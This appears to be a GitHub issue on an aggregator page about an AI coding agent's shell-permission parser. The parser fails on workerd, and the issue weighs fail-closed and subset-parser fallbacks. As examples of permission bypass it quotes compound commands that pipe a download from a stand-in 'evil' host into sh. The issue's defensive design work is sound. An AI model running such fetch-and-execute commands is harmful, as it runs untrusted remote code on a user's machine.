anomalyco / anomalyco/opencode

core: shell permission scanning on runtimes without tree-sitter WASM (workerd)

Open
#42,184 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
209k
Forks
27.5k
PR merge metrics
PR metrics pending

Description

Problem

ShellParse.scan is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (git status && curl evil | sh → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature.

On workerd the parser cannot load at all, for three stacked reasons:

  1. Grammar assets are resolved from the filesystem (locateFile/fileURLToPath) — no fs in workerd.
  2. workerd bans runtime WASM compilation (WebAssembly.compile(bytes) / new Module(bytes)); WASM must arrive as deploy-time module bindings.
  3. Even with a precompiled Module in hand there is no hook to inject it: Language.load goes through emscripten's dynamic linker, which compiles grammar bytes internally.

Today the workerd profile stubs the assets (parser-wasm.workerd.ts returns empty paths), so scan fails and shell is effectively dead in workerd Locations that have an execution plane.

#42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a prefix * save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like allow "git *" glob-match git status && curl evil.sh | sh, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform.

Options

1. Fail-closed fallback (minimum viable). No parser → the command is unparseable: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything.

2. Conservative TS subset parser (recommended next step). A quote-aware tokenizer + splitting on && || ; | + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: $(…), backticks, ${…}, process substitution, eval, bash -c, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (try_parse_word_only_commands_sequence) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (env/timeout/nice) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter only for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before "replace": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes git commit -m "$(cat <<'EOF'…)" into inner commands instead of asking).

3. Static single-module WASM build. Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch Language.load's tail to wrap the already-exported tree_sitter_bash symbol. Full fidelity everywhere and it kills the whole locateFile asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function.

4. Patch web-tree-sitter's dynamic linker to accept { module, bytes } (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release.

Suggested direction

1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the "2 eventually replaces tree-sitter in core" endgame, particularly the PowerShell story.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start at ShellParse.scan and parser-wasm.workerd.ts, then trace web-tree-sitter's Language.load path and compare the fallback attempted in #42173. Implement the selected fail-closed or conservative-subset approach so runtimes without WASM never broaden shell permissions, and verify that compound commands ask rather than over-allow.

Written by the indexing model from the issue text.

Assessment

Tech stack
shell, typescript, wasm
Domain
authorization, security
Issue type
Feature
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.